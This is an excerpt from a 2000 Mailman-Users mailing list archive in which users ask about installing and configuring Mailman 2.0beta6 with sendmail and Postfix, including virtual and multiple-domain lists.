Subject: [Mailman-Users] mailman 2.0beta6
In-Reply-To: <39D4C649.FD1C737B@earlham.edu>
References: <20000929122936.M8193@tc.niof.net>
 <39D4C649.FD1C737B@earlham.edu>
Message-ID: <p04330102b5fa7a084a2f@[209.239.169.197]>

At 11:41 AM -0500 9/29/00, Nick wrote:

Just guessing, but is:

>--prefix=/home/software/mailman

where you're installing the software? Or where the source driectory 
is? From the pathname, I'm guessing the latter.

--prefix should point to where the software is being installed.

If it's not, there's likely a permission problem of some sort, or the 
package is incomplete or didn't build properly.

-- 
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Apple Mail List Gnome (mailto:chuq at apple.com)

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From dgrantham at ptc.com  Fri Sep 29 22:09:12 2000
From: dgrantham at ptc.com (Dale M. Grantham)
Date: Fri, 29 Sep 2000 15:09:12 -0500
Subject: [Mailman-Users] Installation question
Message-ID: <39D4F6E8.E2D7471@ptc.com>

I have a question using mailman with sendmail on a Solaris 2.6 box.

Upon sending to test-request or test-owner, I get the following error:

553 ruger. config error: mail loops back to myself
554 <test-owner at ruger.ptc.com>... Local configuration error


If I send a message to test, nothing (at least to me) happens.

I know qrunner is running (via log file).

Where do the request queue up, and can I check the status somewhere?

Dale.



From davidw at cascade.org.uk  Sat Sep 30 12:33:24 2000
From: davidw at cascade.org.uk (David Wilkinson)
Date: Sat, 30 Sep 2000 11:33:24 +0100
Subject: [Mailman-Users] Postfix Virtual Domains Problem
Message-ID: <5.0.0.25.2.20000930111540.02e5e400@coriander>

I'm having problems with Mailman 2.0beta6 running under a postfix virtual 
domain.

With Postfix's main domain, everything works fine, but if I configure 
Mailman to operate under one of the virtual domains I observe two problems:

- Mailing lists with 'member_posting_only' set will accept posts from anybody
- No list archives are created

The only difference that I can see in the configuration is that in this 
case I have an entry in virtual_maps for the virtual domain which point to 
a file containing lines of the form:

list at virtual.domain             virtual.list at main.domain

and then I have a mailman-owned alias file which has the usual:

virtual.list:            "|/home/mailman/virtual.domain/mail/wrapper post list

etc.

Mail does get distributed to list members as expected, but this extra level 
of indirection seems to break member_posting_only and archiving.

Does anyone have Mailman working properly with Postfix? Any suggestions as 
to what I'm doing wrong?

Thanks,

Dave W.


-- 
David Wilkinson                               http://www.cascade.org.uk/




From jdjose at bellsouth.net  Sat Sep 23 03:22:40 2000
From: jdjose at bellsouth.net (jdjose)
Date: Fri, 22 Sep 2000 18:22:40 -0700
Subject: [Mailman-Users] (no subject)
Message-ID: <000c01c02c41$4aacaa20$1e8a1b3f@webpc>

  a.. ttthis is my e-mail  nanyjose at yahoo.com

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From tpepper at opensales.com  Fri Sep 29 19:20:59 2000
From: tpepper at opensales.com (Tim Pepper)
Date: Fri, 29 Sep 2000 10:20:59 -0700 (PDT)
Subject: [Mailman-Users] Multiple domain lists 
In-Reply-To: <E13ebBX-0000J9-00@rioja.localnet>
Message-ID: <Pine.LNX.4.21.0009291008340.12992-100000@tp.sf.opensales.com>

On Thu, 28 Sep 2000, Nigel Metheringham wrote:

> For a small number of domains with unique listnames - ie 
> listname at foo.com & listname at bar.com being the same list is not a real 
> problem to you, you can just set the domain name in the list config and 
> things work correctly - including by the way http://www.foo.com/mailman/
> listinfo/ only listing the lists that match that domain.  This is 

Can you do this such that if multiple domain names (eg: foo.com and bar.com)
point the same machine, that it will accept traffic on stuff to both
list at foo.com and list at bar.com?  I was thinking of changing a machine name and
don't want to hose all my existing users...want to continue accepting mail at
the old name, but hopefully have it going out from the new name.  One of the
posts in this thread made it sound like I can definitely control the name
outgoing mail appears to come from.  I just want to make sure a single list
will accept stuff sent to two machine names...

Tim

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